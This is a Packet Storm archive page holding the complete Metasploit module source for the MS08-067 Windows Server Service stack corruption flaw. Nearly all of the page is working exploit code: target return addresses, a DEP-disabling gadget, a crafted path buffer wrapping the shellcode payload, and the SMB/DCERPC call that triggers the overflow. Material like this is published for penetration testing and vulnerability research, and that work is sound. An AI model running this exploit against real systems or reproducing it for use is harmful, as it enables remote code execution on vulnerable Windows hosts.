exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ms08_067_netapi.rb.txt

ms08_067_netapi.rb.txt
Posted Oct 29, 2008
Authored by H D Moore | Site metasploit.com

This Metasploit module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This development version has been tested against Windows XP SP2 with DEP enabled.

tags | exploit
systems | windows
SHA-256 | 5b5312c8605fc88ff63456e4b83a9ac3d2c49bf5ff5a44c1a5ae188155f665ba

ms08_067_netapi.rb.txt

Change Mirror Download
##
# $Id:$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote


include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB


def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Server Service Relative Path Stack Corruption',
'Description' => %q{
This module exploits a parsing flaw in the path canonicalization code of
NetAPI32.dll through the Server Service. This development version has
been tested against Windows XP SP2 with DEP enabled.
},
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 5773 $',
'References' =>
[
[ 'MSB', 'MS08-067' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 English', { 'Ret' => 0x6f88f727, 'DisableNX' => 0x6F8916E2, 'Scratch' => 0x00020408 }], # jmp esi / disablenx (acgenral.dll)
[ 'Windows XP SP3 English', { 'Ret' => 0x6f88f807, 'DisableNX' => 0x6F8917C2, 'Scratch' => 0x00020408 }], # jmp esi / disablenx (acgenral.dll)

[ 'Windows 2003 SP0 English', { 'Ret' => 0x71bf175f, 'DisableNX' => 0x71bf175f, 'Scratch' => 0x00020408 }], # jmp esi / jmp esi (ws2help.dll)
],

'DisclosureDate' => 'Oct 12 2008'))

register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
], self.class)

end

def exploit

# NET_API_STATUS NetprPathCanonicalize(
# [in, string, unique] SRVSVC_HANDLE ServerName,
# [in, string] WCHAR* PathName,
# [out, size_is(OutbufLen)] unsigned char* Outbuf,
# [in, range(0,64000)] DWORD OutbufLen,
# [in, string] WCHAR* Prefix,
# [in, out] DWORD* PathType,
# [in] DWORD Flags
# );

# Padding is really picky for some reason
padder = [*("A".."Z")]
pad = "A"
while(pad.length < 7)
c = padder[rand(padder.length)]
next if pad.index(c)
pad += c
end


prefix = ""
server = Rex::Text.rand_text_alpha(rand(8)+1).upcase

jumper = Rex::Text.rand_text_alpha(70).upcase
jumper[04,4] = [target.ret].pack("V") # jmp esi
jumper[58,2] = "\xeb\x62"

path =
Rex::Text.to_unicode("\\") +

# This buffer is removed from the front
Rex::Text.rand_text_alpha(100) +

# Shellcode
payload.encoded +

# Relative path to trigger the bug
Rex::Text.to_unicode("\\..\\..\\") +

# Extra padding
Rex::Text.to_unicode(pad) +

# Writable memory location (static)
[target['Scratch']].pack("V") + # EBP

# NS_DisableNX::g_szCommandLine() FTW (acgenral.dll)
[target['DisableNX']].pack("V") +

# Padding with embedded jump
jumper +

# NULL termination
"\x00" * 2

connect()
smb_login()

handle = dcerpc_handle(
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
)

print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")

stub =
NDR.uwstring(server) +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(1024)) +
NDR.wstring("") +
NDR.long(4097) +
NDR.long(0)

begin
print_status("Triggering the vulnerability...")
dcerpc.call(0x1f, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
rescue => e
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
raise e
end
end

# Cleanup
handler
disconnect
end

end

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close